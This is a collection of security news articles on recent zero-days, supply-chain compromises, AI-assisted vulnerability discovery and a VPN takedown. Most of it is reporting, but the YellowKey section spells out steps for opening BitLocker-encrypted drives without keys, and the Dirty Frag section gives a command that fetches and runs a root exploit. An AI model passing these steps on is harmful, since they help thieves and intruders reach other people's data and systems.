Eclipse's dramatic dispute with Microsoft has been ongoing since early April, when they published the BlueHammer zero-day without warning. The language in their blog posts is unclear and passionate, directing cargo tanks of vitriol at Microsoft/MSRC. As a broad summary, Eclipse implies that Microsoft ignored or refused their zero-day reports and/or did not pay out bounties as requested, somehow causing financial harm in the process. Among other statements, Eclipse says "[they were] told personally by [Microsoft] that they will ruin my life and they did", that there's a dead-man switch of some sort, and that they "will make sure [Microsoft's] bones are shattered."

The saga has drawn speculation from other experts, like William Dormann from Tharros, who said that "MSRC used to be quite excellent to work with. But to save money, Microsoft fired the skilled people, leaving flowchart followers. I wouldn't be surprised if Microsoft closed the case after the reporter refused to submit a video of the exploit, since that's apparently an MSRC requirement now."

Microsoft has been mum on any details about these matters, so it's hard to tell if the situation is about an uncooperative researcher who doesn't follow standard disclosure rules or a company being difficult about security reports. Regardless, the move to ban Eclipse's GitHub account makes for poor optics, as it is being heavily criticized, and ultimately achieves nothing for security, since the code is out there anyway.

In this day and age, when AI-powered security research has arguably made the standard 90-day disclosure-to-patch window completely obsolete, and both time-until-exploit and unused exploits are both nearing zero, Microsoft and other software players would do well to adjust their policies.

Eclipse's technical track record is impressive. They published a string of zero-day exploits for Windows: BlueHammer gets access to the SYSTEM user via Defender, and RedSun does the same; UnDefend knocks Defender offline; GreenPlasma gets SYSTEM access via the CTFMon service, while MiniPlasma grants similar access via a flaw in the Windows Cloud Filter driver. Finally, there's YellowKey, a vulnerability in BitLocker that lets an attacker open up encrypted drives with next to no effort — precisely the action the technology was designed to prevent.

BlueHammer, RedSun, and UnDefend have all been confirmed to be undergoing active exploitation in the wild, and it's not hard to imagine the others are as well, as Eclipse's publications of full or partial proof-of-concept code made it trivial for an interested party to use them.

The cybersecurity world has been abuzz about AI-assisted tools finding vulnerabilities faster than ever. Even non-tech outlets have covered topics like Anthropic's Mythos bot being deemed a proverbial superweapon. We discussed one of many alerts on how the industry-standard 90-day vulnerability disclosure window is going the way of the dodo, too. Words are pretty, but programmers and politicians don't use poetry, so numbers are the proper tool for this topic. The Zero-Day Clock (ZDC) uses them to clearly display the consequences of lax security throughout the ages.

The website was created by Sergej Epp from Sysdig, and the effort counts most every major tech and cybersecurity company as signatories. The lowdown is quite simple: the proverbial AI singularity made it so the mean time between a vulnerability being discovered and it being exploited has dropped from nearly a year in 2021 to just over a day in 2026 (and counting). The trend from the data is painfully visible, and the ZDC predicts that in 2027, the figure will drop to one hour and one minute eventually.

That's hardly the only stiff-drink-inducing graph, though. The percentage of zero-day exploits, meaning that malfeasants were already using them before official word came out, rose from 31% five years ago to a massive 73.2% as of today. Here, it's clearly visible that the percentage of non-exploited vulnerabilities went from ~60-70% in 2021 to a measly 25% currently... but only at the time of disclosure. Tracking the X axis shows that currently, very few vulnerabilities stay unexploited for more than a couple of weeks, and zero remain unused once past the six-week mark, in contrast with ~24% for last year.

Additionally, it's worth noting that the dataset used for these graphs is fairly wide. It only tracks publicly disclosed vulnerabilities that have a known exploitation. In other words, we may well be looking at the mere tip of the iceberg, and the ZDC researchers remind readers that "we only track publicly visible exploits. Private or nation-state exploits may exist earlier." The time-lapse of the collapse of computer security is detailed in a specific page at the ZDC.

So what can be done? Well, the ZDC researchers published a call to action. First, those that are fairly easy to swallow: ensure every piece of firmware, software, framework, and hardware platform has all the security features enabled by default, and always adopt a zero-trust architecture whenever possible. Since 70% of vulnerabilities are a consequence of memory safety bugs, using Rust or another memory-safe language instead of C or C++ is a must.

The ZDC also recommends that systems be designed so they're disposable by default, meaning, for example, that an exploited machine can be easily restored. Since AI bots are empowering attackers, the ZDC recommends the availability of free and open-source AI-powered tools (think an open-source Mythos), so that defenders have full knowledge of their system, source code, and logs.

Then we get into the tricky ones. The biggest recommendation is to make software makers liable for damaging security vulnerabilities, as well-known cybersecurity master Bruce Scheiner explains: "No industry in the past 150 years has improved safety or security without being forced to by the government." He additionally points out that an insecure, technically unsound product that is first to market and/or easier to use will win over their better-developed competitors every single time.

Then, there's a call to revise laws regarding AI that end up giving attackers a time advantage, like well-meaning but poorly considered efforts such as the EU's "Stop the Clock." These are intended to slow down the spread of AI, but they end up hurting security as they slow down defending parties, while cyber-attackers aren't prone to follow laws and guidelines and will just speed up their efforts.

The ZDC also believes that software security should have geopolitical priority and that it ought to be made a public concern, with corresponding allocation of funds toward the effort. Lastly, the ZDC calls for including cybersecurity researchers in the lawmaking process, as generally the people writing the laws don't fully understand the items they're writing (or removing) regulations for; a constant throughout humanity's history.

Takedowns of "bulletproof" VPNs allegedly used for cybercrime activities have become fairly common, and they often raise some interesting legal questions. First VPN is the latest such service to go down in virtual flames, thanks to a Europol-led initiative called Operation Saffron. The seizure caught 33 servers spread across 27 countries, reportedly identified 506 users, and led authorities to a Ukrainian residence.

According to the Europol report, Operation Saffron had the participation of 18 countries, with the main actors being France, the Netherlands, Luxembourg, Romania, Switzerland, Ukraine, and the United Kingdom. First Net's regular and .onion domains were also seized, and they currently display a banner for the operation.

Besides the promise of anonymity, First VPN reportedly advertised itself as not cooperating with any judicial authority and that it would not be subject to any jurisdiction. Additionally, it apparently advertised exclusively in Russian-language cybercrime forums, and was predictably the source of extensive online criminal activity, with Europol stating the service came up in most every cybercrime investigation it was pursuing. The investigation was five years in the making, as it actually started back in 2021.

Although the definition is a little fuzzy, the key differences between bulletproof VPNs and privacy-minded services are in how they handle cooperation with authorities, how they deal with abuse reports, who they typically market their services to, what their terms of service are, and how deeply (if any) they are the source of cybercrime.

Whereas popular services like Mullvad or ProtonVPN offer a no-log, no-data-saved policy, they're designed and advertised in such a manner that ought to let them function normally in most jurisdictions. In fact, Mullvad graciously hosted six Swedish officers in 2023, who came away empty-handed as there was no data to hand over. Similarly, last year, a Greek court dismissed cybercrime-abetting charges against the CEO of Windscribe. Windscribe's servers only used RAM disks and had no permanent storage, and earlier this year, Dutch authorities amusingly shut them off and took them for inspection.

Online commentary generally expresses concern about the legal overreach of these takedowns. It's worth noting that while the investigations are coordinated between many authorities, the legal framework for seizures generally falls within the purview of local law. That means that, for example, the need for a warrant or supporting evidence for a seizure depends on which jurisdiction it takes place.

There's also some irony in the fact that the European Union's Charter of Fundamental Rights broadly states that keeping oneself's digital information private is a basic right, and the well-known GDPR has rather sizable teeth that chomp on data mishandling violations. Privacy-minded VPN services can arguably be interpreted as respecting not just the spirit but also the letter of the law, and yet they're subject to law enforcement activities under national-level rules.

Additionally, the long-standing concept of digital privacy in the EU is under fire, thanks to initiatives like ProtectEU that want data saved for law enforcement purposes, or the unpopular "Chat Control" framework that would allow for scanning private communications under the guise of protecting children. Chat Control almost became law but was shot down repeatedly... for now.

GitHub has officially confirmed, via an X post today, that thousands of its internal repositories were breached after an employee's device was compromised through a malicious Visual Studio Code extension. The company said it detected and contained the incident yesterday, removed the poisoned extension version from the VS Code Marketplace, isolated the affected endpoint, and immediately launched an internal incident response investigation.

The disclosure follows claims posted earlier this week by the TeamPCP hacker group on the Breached cybercrime forum that it had gained access to nearly 4,000 private GitHub repositories via the breach.

The group alleged that it had exfiltrated internal source code and other private data, and stated that it was seeking at least $50,000 from potential buyers for the stolen material. “This is not a ransom,” the group wrote in its post, adding that it intended to sell the data rather than extort GitHub directly, and threatening to leak the repositories publicly if no buyer emerged.

According to GitHub’s current assessment, the activity involved only the exfiltration of GitHub-internal repositories, but the company stated that the attackers’ claims of accessing roughly 3,800 repositories are “directionally consistent” with findings uncovered so far. GitHub also said it has already rotated critical secrets and credentials as part of its containment efforts, while continuing to analyze logs and monitor for any follow-on activity.

TeamPCP has previously been linked to several high-profile campaigns involving platforms such as GitHub, PyPI, npm, and Docker. At the same time, malicious VS Code extensions have repeatedly surfaced in recent years as an increasingly effective vector for breaches and malware delivery.

VS Code extensions are effectively executable plugins embedded inside a developer’s working environment, often with access to local files, terminals, authentication tokens, and cloud tooling. While Microsoft and extension publishers implement various security measures, developers routinely install third-party extensions for debugging, automation, AI coding assistance, and workflow integrations, making the ecosystem an increasingly attractive target for attackers disguising malware as legitimate development tools.

In GitHub’s case, the compromised extension reportedly gave attackers a foothold on the employee's device, granting access to internal repositories and engineering systems. That does not necessarily mean unrestricted access to GitHub’s broader platform or customer repositories. However, internal repositories can still contain valuable operational data such as deployment tooling, infrastructure scripts, security workflows, internal APIs, and unreleased product features. Large technology companies also commonly split infrastructure across thousands of smaller repositories, meaning “3,800 repos” does not necessarily translate to 3,800 major standalone products.

GitHub said it has no evidence that customer data stored outside the affected internal repositories was impacted, and there is currently no indication that public GitHub repositories or platform users' private repositories were broadly exposed.

The incident highlights the growing wave of software supply-chain attacks targeting developers and their tooling rather than end users directly. Modern development ecosystems rely heavily on third-party components, including VS Code extensions, npm packages, PyPI libraries, Docker containers, and AI-assisted coding tools, which means a compromise at almost any layer can expose critical infrastructure. Earlier this year, researchers also discovered malicious packages using invisible Unicode characters hidden across GitHub repositories and VS Code projects, underscoring the growing abuse of trusted developer ecosystems.

Thanks to AI-assisted security research, hackers with hats of various colors are finding exploits everywhere. Linux has had its worst week in years with the CopyFail and Dirty Frag root-gaining vulnerabilities, and things aren't much rosier at Microsoft, thanks to the YellowKey BitLocker bypass, as well as GreenPlasma and RedSun privilege-gaining exploits. Now, it's Apple's turn with a local privilege escalation that gets past the M5 chips' much-vaunted Memory Integrity Enforcement (MIE).

There aren't many technical details, but the vulnerability is simple in practice: run a command as a standard user and gain root (administrator) access to the machine. Macs are rarely servers, so the practical impact is limited. However, the exploit remains concerning, as it's relatively easy to trick a user into running it and, with full system control, also hard to find and remove. The research team in question is named Calif, and as far as they know, the boffins there are the only ones making a public disclosure of this issue. Such assumptions are tricky in this day and age, though.

Mercifully for Captain Cook's ship, instead of being a zero-day reveal out of nowhere that left systems administrators scrambling, the exploit in question was disclosed to the company in advance (in person, no less). Calif published the vulnerability overview as part of a series of blog posts called the Month of AI-Discovered Bugs, since this new Apple vulnerability falls within a set of security findings aided by AI tools — in this case, Anthropic's Mythos Preview.

The researchers tested their code on an Apple M5 machine and macOS 26.4.1. The exploit chain impressively sneaks past MIE, a security feature present on M5 and A19 chips that labels each 16-byte memory slice with a 4-bit tag associated with the pointers that use it. MIE is enforced at the hardware level in a hypervisor-like configuration and effectively protects against most common classes of security exploits, namely, but not only, buffer overflows and use-after-free vulnerabilities.

As an oversimplification, MIE ensures that any memory read or write operation acts on the data that it was originally meant to, even at the kernel level. If that doesn't happen, either your application has a bug, or someone's up to shenanigans. The base feature is part of ARM MTE, and MIE is an Apple-added layer that enforces the said checks at the hardware level, with purportedly little to no performance overhead, and only 3% memory wastage. This blog post goes into more detail on the subject, and it's quite an interesting read.

There's nothing more dangerous than a bored engineer with a screwdriver, and hell hath no fury like a security researcher scorned. Last month, Security researcher Chaotic Eclipse (aka Nightmare-Eclipse) published two zero-day exploits, BlueHammer and RedSun, that made Windows Defender offer up system administrator privileges. They did this after their disclosure reports were allegedly dismissed by Microsoft's security team, resulting in a vendetta of sorts. Eclipse has now done it again, posting two new zero-day exploits, the first one an extremely serious BitLocker exploit named Yellow Key that grants full access to a locked drive. The second one, GreenPlasma, doesn't have a complete proof-of-concept (PoC), but it allegedly performs a local privilege escalation and gains system-level access. Given Eclipse's track record, it's a fair bet that it works as advertised.

YellowKey can be triggered simply by merely copying some files to a USB stick and rebooting to the Windows Recovery Environment. We tested this ourselves, and sure enough, not only does it work, it bears all the hallmarks of a backdoor, down to the exploit's files disappearing from the USB stick after it's used once.

The process is dead simple: grab any USB stick, get write access to the "System Volume Information," and copy into it the "FsTx" folder and its contents. Shift+click Restart to get Windows to the recovery environment, but then switch to holding down the Control key and don't let go. The machine will reboot, and without asking any questions or showing any menus, will drop you in an elevated command line with full access to the formerly Bitlocked drive, without asking for any keys.

To say that this is dangerous is an understatement. Not only is it an immediate concern as BitLocker cannot be trusted for encrypting drives, but the way the exploit executes and its files disappear also raises very uncomfortable corporate and/or political questions. YellowKey also reportedly works in Windows Server 2022 and 2025, but not in Windows 10.

BitLocker protects millions of machines worldwide across home, enterprises, and governments, especially as it's enabled by default in Windows 11. As far as we can tell, a drive can't be taken from machine Alice and opened in machine Bob because the encryption keys are in Alice's TPM, but it's not hard to just up and steal a laptop, mini-PC, or even desktop.

Eclipse notes that using a full TPM-and-PIN setup doesn't help, as apparently, they have a variant for that scenario that they haven't published a PoC for. They also state the vulnerability is well-hidden, and that they "could have made some insane cash selling this, but no amount of money will stand between me and my determination against Microsoft."

As for GreenPlasma, it's supposed to get an attacker full system-level access (even higher than administrator) by manipulating the CTFMon process into placing a crafted memory section object — a slice of memory that can be shared between processes or mapped to a file — in any Windows' Object Manager section the SYSTEM user has write access to, bypassing regular access controls.

From thereon, the exploit code can get access to regions of memory they're not meant to and leverage that for any number of shenanigans, the most obvious one being getting full system access. This is bad enough for a desktop system, as any program can get full access, but it's particularly bad for server environments, where any regular user can get control of the server and, by extension, everyone else's data.

Meanwhile, as of this writing, there is no official response from the company about YellowKey or GreenPlasma. BlueHammer has already been patched, and Chaotic claims that Microsoft silently patched RedSun, but there's no official word on that either.

Microsoft Threat Intelligence said in an X post on Monday that it is investigating a compromise of the mistralai PyPI package after attackers reportedly injected malicious code that automatically executed on import, downloaded a secondary payload disguised as transformers.pyz, and launched malware on Linux systems — the latest incident researchers believe may be linked to the broader “Mini Shai-Hulud” software supply-chain campaign targeting developer ecosystems.

According to Microsoft, the compromised mistralai package version 2.4.6 contained malicious code inserted into mistralai/client/__init__.py that silently downloaded a file from a remote IP address to /tmp/transformers.pyz and executed it in the background whenever the package was imported on Linux machines.

The filename appears deliberately chosen to resemble Hugging Face’s widely used Transformers AI framework, potentially allowing the malware to blend into machine learning environments and evade suspicion. Microsoft said the second-stage payload functioned primarily as a credential stealer, but also contained country-aware logic and a destructive branch capable of executing rm -rf / under certain geographic conditions. The payload contained logic designed to avoid Russian-language environments, a behavior commonly observed in some cybercriminal malware campaigns, though such checks are not definitive indicators of attribution.

The disclosure comes amid a growing wave of software supply-chain compromises affecting both npm and PyPI ecosystems. Earlier Monday, security firm Aikido warned that malicious package versions tied to the popular TanStack JavaScript ecosystem had been compromised in two separate attack waves beginning around 19:20 UTC. Affected packages reportedly included @tanstack/react-router, @tanstack/history, and @tanstack/router-core, components collectively downloaded tens of millions of times per week.

Hours later, Aikido said several Mistral npm SDK packages had also been compromised as part of the same ongoing “Mini Shai-Hulud” campaign, including @mistralai/mistralai, @mistralai/mistralai-azure, and @mistralai/mistralai-gcp. The firm warned developers to immediately rotate GitHub tokens, npm credentials, cloud API keys, and CI/CD secrets if affected packages had been installed.

Microsoft has not publicly attributed the PyPI compromise to Mini Shai-Hulud. Still, the incidents share several characteristics, including malicious code inserted into trusted packages, staged payload downloads, credential theft, and automatic execution during installation or import. That overlap has raised concerns that attackers are increasingly targeting developer infrastructure itself rather than end users directly.

Modern development environments often contain high-value credentials, including GitHub personal access tokens, cloud deployment keys, SSH credentials, npm publishing tokens, and CI/CD system access. A compromised developer workstation or CI runner can therefore provide attackers with a path into much larger software ecosystems, allowing malicious updates to spread through legitimate package distribution channels.

The behavior observed in the compromised Mistralai package reflects that escalation risk. According to Microsoft’s analysis, the injected code silently used curl to retrieve the secondary payload before launching it as a detached background process designed to continue operating independently of the original Python session. The malware also reportedly suppressed execution errors and limited activity to Linux systems, the dominant operating system across servers, cloud environments, and many AI workloads.

Supply-chain attacks have become an increasingly serious concern across the software industry because of the sheer scale at which trusted dependencies are reused. A single compromised package can rapidly propagate into thousands of downstream applications, enterprise environments, and production systems. Major incidents in recent years have included the SolarWinds breach, the event-stream npm compromise, the 3CX supply-chain attack, and the XZ Utils backdoor attempt.

The latest wave appears particularly notable for simultaneously targeting AI tooling, cloud SDKs, and widely used frontend development frameworks. Researchers believe the campaign’s primary objective is credential theft, potentially allowing attackers to compromise additional packages, maintainer accounts, and publishing infrastructure in a cascading chain of ecosystem infections.

Microsoft advised organizations to isolate affected Linux hosts, block outbound connections to the malicious IP address, hunt for indicators including /tmp/transformers.pyz, pgmonitor.py, and pgsql-monitor.service, and rotate any potentially exposed credentials immediately. The compromises are still under investigation, and additional affected packages may emerge as maintainers and security firms continue auditing publishing infrastructure and compromised credentials.

In case you haven't been in the cybersecurity news lately, here's a quick summary: discoveries and exploits of high-profile software vulnerabilities are becoming faster than ever, in part due to AI-assisted code scanning tools. For example, most every Linux distribution recently found itself on the wrong end of the Copy Fail and Dirty Frag privilege escalation vulnerabilities (gaining administrator access with a local account), for which patches hadn't been made widely available as there wasn't enough time between their disclosure and publication.

Himanshu Anand, a security researcher, wrote a lengthy blog post explaining why the industry-standard 90-day disclosure window and associated procedure are effectively dead in this AI-powered world, and his conclusions might lead developers and sysadmins to pick up a stiff drink. On the developer side, he suggests programmers to add LLM to their code push, deployment, and dependency-checking steps as a countermeasure, as attackers are already using LLMs to undercover vunerabilities.

The crux of the matter is the fact that although a bot isn't necessarily any smarter than a human at programming or hunting for security vulnerabilities, a LLM that can do so at full mental capacity 24/7 and is brutally effective at pattern recognition (built with pattern recognition, if we must). The vast majority of security exploits are rooted in specific bad programming habits, something a bot excels at noticing quickly and repeatedly.

Both aforementioned exploits for the Linux kernel took advantage of insecure zero-copy mechanisms (performing calculations on data in-place instead of copying/calculating/replacing). In both cases, although the issues were communicated to the kernel team in advance, they were made public far before the usual 90-day period — just over a week, in the case of Dirty Frag.

Although nobody said it out loud, the general assumption was that white-hat reveals were done with little to no advance warning because the exploits were already in the wild, so there was nothing to gain and everything to lose by keeping them under wraps.

To illustrate this point, Anand presents one of his own bug reports to an unnamed e-shop, wherein he found and reported an unpatched security bug that would let attackers buy expensive items for the princely sum of $0. Much to his surprise, he got a reply stating that 10 (!) other researchers had already reported the issue over six weeks. Conferring with a colleague, they noticed that "LLM-assisted hunters were converging on the same bugs almost simultaneously."

This conclusion is further backed up by triage engineer @d0rsky, who notes that once a new vulnerability is found, he immediately sees "a wave of duplicate reports within days." Quite poignantly, Dorsky posits: "if researchers can replicate these findings so quickly, what's stopping black-hats from doing the same before the issue is fixed?" Anand further drives the point home by saying he made an exploit for a published and patched vulnerability in the React framework in just 30 minutes using LLM tools.

In his conclusion, Anand doesn't mince words, stating that in this new world where non-ethical hackers can so quickly analyze code using AI, the 90-day window protects nobody, and that the usual monthly patch cycles are equally dead, as "[the] 30 day window between vulnerability and fix assumes attackers are slower than your release train." He urges developers to treat "every critical security issue as P0 and fix it immediately," as they can assume that said vulnerability is already under active exploitation. To wit, "if you are reading CVE descriptions while attackers are reading git log --diff-filter=M, you are already behind."

Ironically enough, open-source software enjoys high security standards due to code being publicly available for scrutiny and correction, but LLMs are turning that characteristic into a double-edged sword. Having said that, in the OSS world, a patch can also be created and distributed within hours, something the Mozilla team recently proved by posting 423 security fixes in April alone.

As for closed-source software, well, let's just say that tireless bots are equally good at decompiling and network scanning as they are at source code analysis, and it's likely enough that Microsoft, Apple, or Google will have their Copy Fail moments sooner rather than later. Do read the entirety of Anand's post, as it's quite elucidative.

The Google Threat Intelligence Group (GTIG) has just published a report on the hacktivities of blackhats everywhere, and the painted picture is quite sobering. Not only are attackers predictably using clankers to automate their efforts, but they're also putting them to rather creative use in almost every area of cybercrime, including developing at least one zero-day exploit. Even more concerning, malware that can modify its own source code and create exploit payloads dynamically, and even generate decoy code, has been detected.

The attack in question was a Python script that allowed bypassing 2FA in a "popular open-source, web-based system administration tool." According to the GTIG, the exploit's code bore all the hallmarks of AI usage and abuses a logic flaw. GTIG remarks that for authorization flows, even the latest LLMs "struggle to navigate complex enterprise [...] logic," but they're really good at contextual reasoning. This means they have the ability to read source code and validate the developer's intention versus what's actually implemented, and thus quickly find unconsidered corner cases.

That's only one small slice of the report, though, seeing as GTIG found pervasive usage of AI over a good handful of cybersecurity operation types. Malicious hackers have always had their own software suites for creating and distributing exploits, but they can now rely on bots to significantly augment their capabilities. Agents can alter their source code in real-time or tweak their attack as they go along in an effort to evade detection.

The bots are also used to improve obfuscation in several layers, be it in adding filler code to their attack logic or adding multiple layers of indirection so that the code manages to hide its true intention. Needless to say, all these characteristics make it much harder for security software to detect or contain; examples include CANFAIL and LONGSTREAM.

Software like the PROMPTSPY Android backdoor leverages Google Gemini (the cloud service, not the on-device variant) to deviously manipulate the user's phone. Nifty tricks, including taking screenshots and working out the UI elements presented to the user to then simulate interactions on their behalf, down to capturing PIN/pattern authentication, or intercepting Uninstall button clicks.

Additionally, the GTIG found instances of malware that can modify its own source code and create exploit payloads dynamically, and generate decoy code.

All those real-time morphing abilities extend to phishing and network attacks. For example, malfeasants ask bots to generate a company's organizational chart and generate custom phishing emails laden with real information collected from news, LinkedIn pages, or press releases.

One would imagine that the more data that users provide in their replies, the more convincing the counter-responses can be, too. GTIG says that information collected about financial, internal security, and human resources departments generally makes for the best phishing bait — all expertly cooked to best suit each targeted individual.

Surprising absolutely nobody, GTIG also noticed large-scale operations across a multitude of countries using AI for political purposes. The predictable tactics are generating fake images and videos, but bot usage is becoming more subtle and yet more effective. It's now become easy to generate believable voiceovers or replace just a few words and facial expressions in real video in order to push forward a particular message. Interspersing real footage with fake content for added believability has become a common theme as well.

The GTIG report is long, informative, and goes in-depth about all of the aforementioned topics, plus a few more. It's worth a read, perhaps with your alcoholic beverage of choice by your side.

Here's a question for the systems administrators in the crowd: what's better than one instant-root™️Linux vulnerability that affects most every system since 2017? Two of them, of course. Today's bag of bad news comes by way of the Dirty Frag vulnerability, which uses a mechanism similar to the Copy Fail exploit that's currently setting the Linux server world on fire. This vulnerability affects nearly every Linux install since 2017, and no advance warning was given, so there is no patch available. This appears to be due to a broken embargo that revealed the vulerability before preparations were made.

As a refresher, any local user can instantly get root (administrator) access on an affected box, just by running a small program. The attack does not depend on specific system conditions or timing, as it's a straightforward logic bug. Most every popular Linux distribution since 2017 is affected, including but not limited to current versions of Ubuntu (24 and 26), Arch, RHEL, OpenSUSE, CentOS Stream, Fedora, and Alma. We even tested WSL2 ourselves and sure enough, "root" was the word.

Dirty Frag one-ups its cousin, though, as there are currently zero patches for it at the time of this writing, making it spectacularly dangerous. Even the mainline Linux kernel itself doesn't appear to have any patches, as one colleague of mine reported a successful trigger of the exploit on a CachyOS machine running kernel 7.0.3-1-cachyos, and also on an updated Arch box. Needless to say, keep your eyes peeled for updates and patch your servers the second they're available.

Mercifully, though, the machine gods made the mitigation easy and unlikely to affect the functioning of the vast majority of servers. One needs only to disable the esp4, esp6, and rxrpc modules. These are all related in various degrees to IPSec networking and unlikely to be used unless the machine in question is an IPSec client or server. You can disable the modules in question with:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

The reason why Dirty Frag is catching everyone flat-footed is because although the vulnerability was reported to the Linux kernel team in April 30, an "unrelated third party" broke the embargo for the reveal. The website offers no more detail, but our best theory is that it means the exploit is already in use by malicious actors, prompting the embargo breakage. If you want to test your boxen, you can use:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

As far as technical details go, the story isn't much different than with Copy Fail, relying on exploiting a zero-copy operation by splicing a page cache descriptor into it. The different is that this time around, the fallible code is in the IPSec-related modules. The original vulnerability is "xfrm-ESP Page Cache Write", introduced in kernel commit cac2661c53f3 from 2017, and present across most distros. Since Ubuntu systems' AppArmor plugs that particular hole, the PoC chains a second exploit, "RxRPC Page-Cache Write", added in commit 2dc334f1a63a.